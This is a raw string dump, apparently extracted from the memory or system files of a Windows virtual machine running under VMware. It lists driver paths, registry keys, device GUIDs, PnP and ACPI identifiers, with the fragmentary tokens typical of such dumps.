##?#PCI#VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00#4&bbf9765&0&1888#{2accfe60-c130-11d2-b082-00a0c91efb8b} \SystemRoot\System32\drivers\spaceport.sys SystemCpuPartition TmTx KeyedEvent Composition \SystemRoot\system32\symcryptk.dll SetSystemState RawInputManager Controller PowerState \SystemRoot\system32\hal.dll WindowStation yEvent CritSecOutOfMemoryEvent \SystemRoot\system32\DRIVERS\vsock.sys \SystemRoot\System32\drivers\watchdog.sys LowNonPagedPoolCondition \SystemRoot\system32\CI.dll Rjt\ 32\SystemRoot\System32\drivers\intelide.sys \SystemRoot\syst 01000.sys \SystemRoot\system32\ntoskrnl.exe CoreMessaging Semaphore Callback Callback ProcessorAdd ActivationObject Adapter \SystemRoot\system32\mcupdate_GenuineIntel.dll Security Registry $TxfLog \SystemRoot\System32\drivers\ntosext.sys {53f5630e-b6bf-11d0-94f2-00a0c91efb8b} {15c5e253-b8c4-452e-99df-461d0f5078c8} {1ca05180-a699-450a-9a0c-de4fbe3ddd89} {378de44c-56ef-11d1-bc8c-00a0c91405dd} {21157c1f-2651-4cc1-90ca-1f28b02263f6} {10910c20-0c64-4172-9409-add3064c0cad} {4d1e55b2-f16f-11cf-88cb-001111000030} {4747b320-62ce-11cf-a5d6-28db04c10000} {3abf6f2d-71c4-462a-8a92-1e6861e6af27} {2accfe60-c130-11d2-b082-00a0c91efb8b} {5b45201d-f2f2-4f3b-85bb-30ff1f953599} {2eef81be-33fa-4800-9670-1cd474972c3f} USB\VID_0E0F&PID_0003\6&39d724fe&0&5 {3c0d501a-140b-11d1-b40f-00a0c9223196} {53f5630d-b6bf-11d0-94f2-00a0c91efb8b} {2e34d650-5819-42ca-84ae-d30803bae505} {0ecef634-6ef0-472a-8085-5ad023ecbccd} {53f56307-b6bf-11d0-94f2-00a0c91efb8b} {0a4252a0-7e70-11d0-a5d6-28db04c10000} {53f56308-b6bf-11d0-94f2-00a0c91efb8b} {3ff2c92b-6598-4e60-8e1c-0ccf4927e319} {53172480-4791-11d0-a5d6-28db04c10000} SWD\MMDEVAPI\MicrosoftGSWavetableSynth {09485f5a-759e-42c2-bd4b-a349b75c8643} {1024e4c9-47c9-48d3-b4a8-f9df78523b53} {4afa3d53-74a7-11d0-be5e-00a0c9062857} {65a9a6cf-64cd-480b-843e-32c86e1ba19f} \\?\ROOT#BasicRender#0000#{1024e4c9-47c9-48d3-b4a8-f9df78523b53} STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000 TSA://ProcUnique SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01\5&260e6d66&0&010000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 TSA://ProcUnique Sleep Idle State Disabled SWD\MMDEVAPI\{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000 \\?\ROOT#BasicDisplay#0000#{1024e4c9-47c9-48d3-b4a8-f9df78523b53} Registry SWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} \REGISTRY\MACHINE\SYSTEM HighCommitCondition RegistryTransaction LowCommitCondition MaximumCommitCondition MaximumCommitCondition HighCommitCondition PhysicalMemoryChange \DriverStore\Nodes PhysicalMemoryChange WofCompressedData \\?\DISPLAY#Default_Monitor#4&427137e&0&UID0#{10910c20-0c64-4172-9409-add3064c0cad}\color \\?\HID#VID_0E0F&PID_0003&MI_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\SWD#PRINTENUM#{B088679C-B055-48CC-AE74-33E3ECD77249}#{0ecef634-6ef0-472a-8085-5ad023ecbccd} \\?\HID#VID_0E0F&PID_0003&MI_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\HID#VID_0E0F&PID_0003&MI_01#8&34ace767&0&0000#{378de44c-56ef-11d1-bc8c-00a0c91405dd} \\?\HID#VID_0E0F&PID_0003&MI_00#8&217ccb29&0&0000#{378de44c-56ef-11d1-bc8c-00a0c91405dd} \\?\DISPLAY#Default_Monitor#1&8713bca&0&UID0#{10910c20-0c64-4172-9409-add3064c0cad}\color Vid.sys $Verify UCPD.sys Psched Beep NetBIOS Null 385250.5 VWXY vmrawdsk Dfsc dam.sys Null.SYS vwififlt Psched Beep.SYS 409800.5 vwififlt Beep 141100 Netbios bam.sys cdrom \Windows dfsc.sys UCPD Null afd.sys Psched vwififlt Control Process NdisCap csc.sys nsiproxy ahcache FsWrap rdbss afunix Udp6 46000 tdx.sys msi.dll WS2IFSL Npfs ahcache fsWrap RawIp6 ws2ifsl RawIp Mailslot Npfs.SYS CimFS Msfs NetBT mssmbios Tcp6 cimfs control Msfs.SYS ahcache STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoiceLatest S-1-5-21-3914889805-4071901059-918772286-1001 \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BasicDisplay \Windows\System32\drivers\cdrom.sys \Windows\System32\drivers\tdi.sys \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Vid \Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog \Windows\System32\drivers\winhvr.sys \Device\HarddiskVolume3\Windows\System32\smss.exe \Device\HarddiskVolume3\Windows\System32\WUDFHost.exe \Windows\System32\drivers\tdx.sys \$Extend\$RmMetadata\$TxfLog\$TxfLog.blf \Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog System Volume Information020 \Windows\System32\drivers\netbios.sys \Device\HarddiskVolume3\Windows\System32\spoolsv.exe \Windows\System32\drivers\ndiscap.sys \Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog \Windows\System32\drivers\vwififlt.sys \Windows\System32\drivers\afd.sys \Device\HarddiskVolume3\Windows\System32\services.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe \Windows\System32\drivers\en-US\ntfs.sys.mui \Device\HarddiskVolume3\Windows\System32\WerFault.exe \Device\HarddiskVolume3\Windows\System32\csrss.exe \Windows\System32\drivers\ws2ifsl.sys \Windows\System32\drivers\rdbss.sys \Windows\System32\drivers\msfs.sys \Windows\System32\drivers\crashdmp.sys \Windows\System32\drivers\cimfs.sys \Windows\System32\drivers\npfs.sys \Windows\System32\drivers\netbt.sys \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BasicRender \Windows\System32\drivers\stornvme.sys \Windows\System32\drivers\Vid.sys \Windows\System32\vertdll.dll \Windows\System32\drivers\Dumpstorport.sys \Windows\System32\drivers\afunix.sys \Windows\System32\drivers\pacer.sys \Windows\System32\drivers\dumpfve.sys \Registry\Machine\SYSTEM\ControlSet001 \Registry\Machine\SYSTEM\CurrentControlSet\Hardware Profiles\0001 \REGISTRY\MACHINE\SYSTEM\HardwareConfig\{50434d56-aaf7-ad8d-df88-f692881b6c9b} ROOT\volmgr\0000 ROOT\BasicDisplay\0000 AT/AT COMPATIBLE 9db667d0-00000000-A UNKNOWN_KEYBOARD ACPI BIOS Intel64 Family 6 Model 186 Stepping 2 \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{dda54a40-1e4c-11d1-a050-405705c10000}\eMicInTopo \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eMicInWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\eLineOutWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eLineOutWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\eMicInWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{dda54a40-1e4c-11d1-a050-405705c10000}\eLineOutTopo \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{97fadb10-4e33-40ae-359c-8bef029dbdd0} \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eLineOutTopo \\?\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{97fadb10-4e33-40ae-359c-8bef029dbdd0} \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{65e8773d-8f56-11d0-a3b9-00a0c9223196}\eMicInWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{65e8773e-8f56-11d0-a3b9-00a0c9223196}\eLineOutWave \\?\HDAUDIO#FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\eMicInTopo PCI\VEN_8086&DEV_7191&SUBSYS_00000000&REV_01\3&61aaa01&0&08 PCI\VEN_8086&DEV_7110&SUBSYS_197615AD&REV_08\3&61aaa01&0&38 PCI\VEN_8086&DEV_7111&SUBSYS_197615AD&REV_01\3&61aaa01&0&39 PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10\3&61aaa01&0&3F PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78 \\?\SWD#MIDISRV#MIDIU_DIAG_LOOPBACK_A#{e7cce071-3c03-423f-88d3-f1045d02552b} \\?\SWD#MSRRAS#MS_AGILEVPNMINIPORT#{cac88484-7515-4c03-82e6-71a87abac361} \\?\USB#ROOT_HUB30#5&11106705&0&0#{f18a0e88-c30c-11d0-8815-00a0c906bed8} \\?\USB#VID_0E0F&PID_0003#6&39d724fe&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} \Registry\Machine\System\CurrentControlSet\Services\WindowsTrustedRT \\?\PCIIDE#IDEChannel#4&23686003&0&0#{2accfe60-c130-11d2-b082-00a0c91efb8b} \\?\SWD#MIDISRV#MIDIU_DIAG_LOOPBACK_B#{e7cce071-3c03-423f-88d3-f1045d02552b} HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 \\?\PCIIDE#IDEChannel#4&23686003&0&1#{2accfe60-c130-11d2-b082-00a0c91efb8b} 00000062 00000055 00000053 Type 00000052 0000005c Type Type Value PcwDrv Value Value VDRVROOT USBXHCI 00000061 0000004f 0000005a pcw.sys 0000004c 00000059 0000004b 0000005b 0000004d RawCdRom 0000005d Value 00000051 00000054 00000058 Type 00000050 00000063 00000049 pci.sys msisadrv 00000057 RawTape 0000005e 0000004e Value RawDisk 00000056 0000004a Type 0000005f Value Value Type 00000060 usbuhci 00000067 0000006a usbehci vdrvroot 00000069 Type Value Value Type Value Type 00000064 Type Value 00000065 00000066 pdc.sys Value Type Type 00000068 Value Type PdcPort vmci Intel64 Family 6 Model 186 Stepping 2 13th Gen Intel(R) Core(TM) i7-1370P GenuineIntel Intel64 Family 6 Model 186 Stepping 2 Intel64 Family 6 Model 186 Stepping 2 13th Gen Intel(R) Core(TM) i7-1370P GenuineIntel INTEL - 6040000 VMW201.00V.24866131.B64.2507211911 VMware, Inc. - 10000 \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0006 \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0007 \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BasicDisplay \REGISTRY\Machine\System\CurrentControlSet\Services\TSDDD\Device0 \Device\HarddiskVolume3\Windows\System32\drivers\cdrom.sys \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\System32\drivers\beep.sys \Device\HarddiskVolume3\Windows\System32\drivers\null.sys D:(A;CIOI;0x111FFFFF;;;SY)(A;CIOI;0x111FFFFF;;;BA)(A;CIOI;FA;;;S-1-5-80-3028837079-3186095147-955107200-3701964851-1150726376)(A;CIOI;FR;;;AU)(A;CIOI;FRRPLC;;;AC) \Device\HarddiskVolume3\Windows\System32\drivers\tbs.sys \Device\HarddiskVolume3\Windows\System32\drivers\null.sys \Device\HarddiskVolume3\Windows\INF\usbport.PNF tore\en-US \Device\HarddiskVolume3\Windows\System32\drivers\UCPD.sys \Device\HarddiskVolume3\Windows\System32\drivers\vmrawdsk.sys \\?\SWD#MSRRAS#MS_AGILEVPNMINIPORT#{ad498944-762f-11d0-8dcb-00c04fc3358c}\{D947C855-6543-4643-A5FE-DDA6E49508CB} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \\?\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{97fadb10-4e33-40ae-359c-8bef029dbdd0} ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{97fadb10-4e33-40ae-359c-8bef029dbdd0} \Driver\ACPI_HAL \Driver\PnpManager \Driver\SoftwareDevice \Device\WMIDataDevice \Driver\DeviceApi EtwSessionDemuxEntry WofCompressedData VMware, Inc. VMware20,1 ACPI\VEN_ACPI&DEV_0003 VMware, Inc. VMware20,1 WindowsTrustedRT.sys \Device\0000000f HvlWithdrawAllowed \Device\WindowsTrustedRT \Device\RESOURCE_HUB ACPI\VEN_PNP&DEV_0A03 \Device\0000000f ACPI_HAL\PNP0C08 ACPI\VEN_PNP&DEV_0A05 SAM_SERVICE_STARTED \Device\RESOURCE_HUB COMPUTER\Generic IoExternalDmaUnblock WindowsTrustedRTProxy STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062} STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} 0000000b 03e8622803e80000 000a000000000000 8664 Microsoft.Windows.Apprep.ChxApp cw5n1h2txyewy neutral Set\Enum\ROOT\BasicRender\0000 Active.GRL %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 \\?\ROOT#SYSTEM#0000#{97ebaacb-95bd-11d0-a3ea-00a0c9223196}\{DDF4358E-BB2C-11D0-A42F-00A0C9223196}&{97EBAACB-95BD-11D0-A3EA-00A0C9223196} \\?\ROOT#SYSTEM#0000#{0a4252a0-7e70-11d0-a5d6-28db04c10000}\{cfd669f1-9bc2-11d0-8299-0000f822fe8a}&{0A4252A0-7E70-11D0-A5D6-28DB04C10000} \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196} \\?\ROOT#SYSTEM#0000#{cf1dda2c-9743-11d0-a3ee-00a0c9223196}\{cfd669f1-9bc2-11d0-8299-0000f822fe8a}&{CF1DDA2C-9743-11D0-A3EE-00A0C9223196} \\?\ROOT#SYSTEM#0000#{53172480-4791-11d0-a5d6-28db04c10000}\{97ebaacc-95bd-11d0-a3ea-00a0c9223196}&{53172480-4791-11D0-A5D6-28DB04C10000} \\?\ROOT#SYSTEM#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\{EEC12DB6-AD9C-4168-8658-B03DAEF417FE}&{ABD61E00-9350-47e2-A632-4438B90C6641} {cf1dda2c-9743-11d0-a3ee-00a0c9223196} {f76c6c62-7dea-43cd-8689-d9a4af3d8557} {97fadb10-4e33-40ae-359c-8bef029dbdd0} {7fccc86c-228a-40ad-8a58-f590af7bfdce} {cdb5d8f7-3cfd-41c8-8542-cce622cf5d6e} {884b96c3-56ef-11d1-bc8c-00a0c91405dd} {c2fb0f5f-e2d2-4c78-bcd0-352a9582819d} {ef66a56f-88d1-4cd8-98c4-49faf57ad8af} {6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} {dbe4373d-3c81-40cb-ace4-e0e5d05f0c9f} {866519b5-3f07-4c97-b7df-24c5d8a8ccb8} {65e8773e-8f56-11d0-a3b9-00a0c9223196} {86a19291-0482-402c-bf4c-addac52b1c39} {97f115c8-599a-4153-8894-d2d12899918a} {7f108a28-9833-4b3b-b780-2c6b5fa5c062} {86841137-ed8e-4d97-9975-f2ed56b4430e} {65e8773d-8f56-11d0-a3b9-00a0c9223196} {6dc23320-ab33-4ce4-80d4-bbb3ebbf2814} {b84919fb-ea85-4976-8444-6f6f5c6d31db} {e83af229-8640-4d18-a213-e22675ebb2c3} {cac88484-7515-4c03-82e6-71a87abac361} {e6327cad-dcec-4949-ae8a-991e976a79d2} {dda54a40-1e4c-11d1-a050-405705c10000} {ffbb6e3f-ccfe-4d84-90d9-421418b03a8e} {a5dcbf10-6530-11d2-901f-00c04fb951ed} {bfa794e4-f964-4fdb-90f6-51056bfe4b44} {bfcd56f7-3943-457f-a312-2e19bb6dc648} {fb3842cd-9e2a-4f83-8fcc-4b0761139ae9} {e6f07b5f-ee97-4a90-b076-33f57bf4eaa7} {76b5ce0d-17dd-414d-93a1-e127f40bdf6e} {97ebaacb-95bd-11d0-a3ea-00a0c9223196} {e7cce071-3c03-423f-88d3-f1045d02552b} {f18a0e88-c30c-11d0-8815-00a0c906bed8} {eb115ffc-10c8-4964-831d-6dcb02e6f23f} {9d9e0118-1807-4f2e-96e4-2ce57142e196} {e5323777-f976-4f5b-9b55-b94699c46e44} {ad498944-762f-11d0-8dcb-00c04fc3358c} {6994ad04-93ef-11d0-a3cc-00a0c9223196} {a17579f0-4fec-4936-9364-249460863be5} Storport Unit Queue Storport Unit Reads WofCompressedData \_SB.PCI0.PE50.S1F0 WofCompressedData WofCompressedData FileSystem Disk Activity ACPI\VEN_PNP&DEV_0100 ACPI\VEN_PNP&DEV_0001 SynchronizationNuma Processor Information MountPointManager Thermal Zone Information DxgkCompositionObject Storport Unit Transfers Microsoft Windows Storport Unit Writes \_SB.PCI0.PE40.S1F0 Registry MountPointManager \_SB.PCI0.ISA.HPET DxgkDisplayMuxSwitch \Device\00000005 \Device\RaidPort1 \Device\VolMgrControl \Device\00000001 \_SB.PCI0.ISA.MBRD ACPI\VEN_VMW&DEV_0003 \Device\VMCIGuestDev ACPI\VEN_PNP&DEV_0B00 \Device\Harddisk0\DR0 FilterConnectionPort \Device\clfscntrl \Device\PartmgrControl \_SB.PCI0.ISA.RTC \Device\BitLocker FilterCommunicationPort \Device\Harddisk0\DR0 \_SB.PCI0.ISA.SPKR ubpmtaskhostchannel \Device\RaidPort1 \_SB.PCI0.ISA.PIC \Device\Harddisk0\DR0 \_SB.PCI0.P2P0.S1F0 \_SB.PCI0.ISA.MOUS \Device\Ide\IdePort1 PacketDirect Queue Depth Network QoS Policy multi(0)disk(0)rdisk(0) \_SB.PCI0.ISA.DMAC \Device\PciControl \Device\NTPNP_PCI0046 \Device\Ide\IdePort1 \Device\Harddisk0\DR0 \_SB.PCI0.ISA.TIME \_SB.PCI0.ISA.KBC \_SB.PCI0.ISA.SIO \Device\Ide\IdePort0 UdfsCdRomRecognizer \_SB.PCI0.P2P0.S2F0 \Device\00000006 Storage Spaces Tier \Device\00000006 \Device\Ide\IdePort0 \_SB.PCI0.P2P0.S4F0 \Device\Spaceport FatCdRomRecognizer \Device\0000006e PCI Bus (\_SB.PCI0) \_SB.PCI0.P2P0.S3F0 WofCompressedData \Device\NTPNP_PCI0042 Storage Spaces Drt ACPI\VEN_PNP&DEV_0103 \Device\NTPNP_PCI0042 UdfsDiskRecognizer FatDiskRecognizer \Device\RaidPort0 \Device\RaidPort0 \Device\NXTIPSEC DxgkSharedSyncObject ACPI\VEN_PNP&DEV_0800 DxgkSharedBundleObject High Performance Burst Sustained Performance DxgkSharedResource \_SB.PCI0.PE60.S1F0 \Device\00000005 LanmanWorkstation ACPI\VEN_PNP&DEV_0C02 ACPI\VEN_PNP&DEV_0200 ACPI\VEN_PNP&DEV_0303 \Device\IPSECDOSP ACPI\VEN_VMW&DEV_0001 22233122 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \SystemRoot\System32\cdd.dll \Windows\System32\cdd.dll :WofCompressedData GPU Non Local Adapter Memory :WofCompressedData :WofCompressedData :WofCompressedData \Windows\Globalization\Sortingnt vers :WofCompressedData Driver :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData amdwps 00000003 0000001e 0000003f 00000017 PIPE MAILSLOT CONOUT$ Wdf01000 0000003e 00000043 00000042 Driver 00000019 00000014 00000025 0000001b \Silos 00000013 DRIVERS acpiex 00000004 00000018 Filters SYSTEM SYSTEM 00000016 PRM.sys 00000044 DRIVERS CONIN$ volmgr 00000012 KMDF0 0000001d SYSTEM 0000001c 00000041 00000001 00000010 00000026 00000002 cng.sys 00000015 00000045 0000001a 00000040 kdnic umbus 00000036 00000031 ACPI 0000002d 00000009 00000006 0000000d 0000003c 00000035 00000030 00000037 0000000f 00000008 0000000b 00000047 00000033 00000024 00000046 ACPI.sys ACPI IntelPMT 00000027 0000003a 00000038 00000032 00000011 00000022 swenum 0000002a 00000029 WmiGuid 00000048 0000000a 0000002b 0000000c 0000003d intelpep 00000021 0000002f 0000001f 00000039 00000034 ACPI_HAL rdpbus 0000002e 0000003b 00000005 0000002c 00000028 CmBatt 00000007 00000023 WMIxWDM 0000000e 00000020 SWD\MSRRAS\MS_NDISWANBH SWD\MSRRAS\MS_NDISWANIP RUUTUUTU \_SB.PCI0.PE47 \_SB.L1M3 \_SB.L1M7.L0M4 \_SB.CP00 \_SB.L1M1 \_SB.L1M7.L0M2 \_SB.L1M4 NTPNP_PCI0005 \_SB.L1M7.L0M5 \_SB.L1M0 \_SB.L1M7.L0M3 \_SB.PCI0.PE46 \_SB.L1M4.L0M6 \_SB.PCI0 NTPNP_PCI0006 \_SB.L1M4.L0M7 \_SB.PCI0.PE51 \_SB.L1M2 \_SB.PCI0.PE50 \_SB.ACAD \_SB.L1M7.L0M7 \_SB.PCI0.PE55 \_SB.L1M5 NTPNP_PCI0014 \_SB.CP01 \_SB.L1M7 NTPNP_PCI0012 NTPNP_PCI0011 \_SB.PCI0.PE54 NTPNP_PCI0009 \_SB.L1M7.L0M6 NTPNP_PCI0008 \_SB.L1M6 NTPNP_PCI0010 NTPNP_PCI0013 CimFS.SYS NTPNP_PCI0007 \_SB.PCI0.PE52 \_SB.PCI0.PE53 NTPNP_PCI0015 NTPNP_PCI0017 \_SB.PCI0.PE63 \_SB.PCI0.PE61 \_SB.PCI0.PE56 i8042prt \_SB.L1M6.L0M1 \_SB.PCI0.PE57 \_SB.PCI0.PE62 NTPNP_PCI0021 \_SB.PCI0.PE60 NTPNP_PCI0018 NTPNP_PCI0020 \_SB.L1M6.L0M0 NTPNP_PCI0016 NTPNP_PCI0019 uiomap.sys \_SB.L1M1.L0M4 \_SB.L1M1.L0M5 \_SB.L1M6.L0M3 \_SB.L1M6.L0M4 NTPNP_PCI0023 \_SB.L1M1.L0M6 \_SB.L1M1.L0M2 \_SB.L1M6.L0M6 NTPNP_PCI0022 \_SB.L1M1.L0M7 intelppm \_SB.L1M1.L0M3 \_SB.L1M6.L0M2 \_SB.L1M1.L0M0 \_SB.PCI0.PE65 \_SB.L1M6.L0M5 NTPNP_PCI0024 \_SB.L1M1.L0M1 \_SB.PCI0.PE64 \_SB.L1M3.L0M4 \_SB.L1M3.L0M1 \_SB.PCI0.PE66 NTPNP_PCI0025 gencounter \_SB.L1M6.L0M7 \_SB.L1M3.L0M5 \_SB.L1M3.L0M2 \_SB.L1M3.L0M0 BasicDisplay.sys \_SB.L1M3.L0M3 NamedPipe vm3dmp_loader msisadrv BasicDisplay NTPNP_PCI0026 om Inc. \_SB.L1M3.L0M7 msisadrv.sys \_SB.PCI0.PE74 NTPNP_PCI0031 Synchronization NTPNP_PCI0028 \_SB.PCI0.PE70 \_SB.PCI0.PE73 \_SB.PCI0.PE67 NTPNP_PCI0029 \_SB.PCI0.PE72 NTPNP_PCI0030 \_SB.PCI0.PE71 NTPNP_PCI0027 NTPNP_PCI0032 \_SB.L1M3.L0M6 PcwObject Process V2 NTPNP_PCI0037 vmrawdsk.sys \_SB.PCI0.PE77 \_SB.L1M5.L0M5 \_SB.L1M5.L0M6 \_SB.L1M5.L0M0 \_SB.L1M5.L0M7 \_SB.L1M5.L0M4 \_SB.PCI0.PE75 NTPNP_PCI0036 NTPNP_PCI0035 \_SB.L1M5.L0M3 \_SB.L1M5.L0M1 \_SB.L1M5.L0M2 \_SB.PCI0.PE76 NTPNP_PCI0033 NTPNP_PCI0034 PciControl \_SB.PCI0.ISA \_SB.PCI0.IDE intelide NTPNP_PCI0039 385250.5 NTPNP_PCI0038 \_SB.PCI0.EXPL \_SB.PCI0.AGP \_SB.PCI0.VMGC intelppm PciControl FeatureV2 \_SB.L1M2.L0M4 \_SB.L1M0.L0M3 NTPNP_PCI0000 \_SB.PCI0.PE41 \_SB.L1M0.L0M2 DeviceRegion FeatureV2 \_SB.PCI0.PE40 \_SB.L1M2.L0M3 \_SB.L1M2.L0M7 \_SB.L1M0.L0M0 \_SB.L1M2.L0M1 \_SB.L1M2.L0M2 \_SB.L1M0.L0M4 \_SB.L1M0.L0M1 \_SB.L1M2.L0M5 \_SB.PCI0.P2P0 \_SB.L1M2.L0M6 \_SB.L1M2.L0M0 \_SB.L1M4.L0M4 \_SB.PCI0.PE44 \_SB.L1M0.L0M7 \_SB.PCI0.PE43 \_SB.L1M4.L0M2 NTPNP_PCI0003 \_SB.L1M4.L0M0 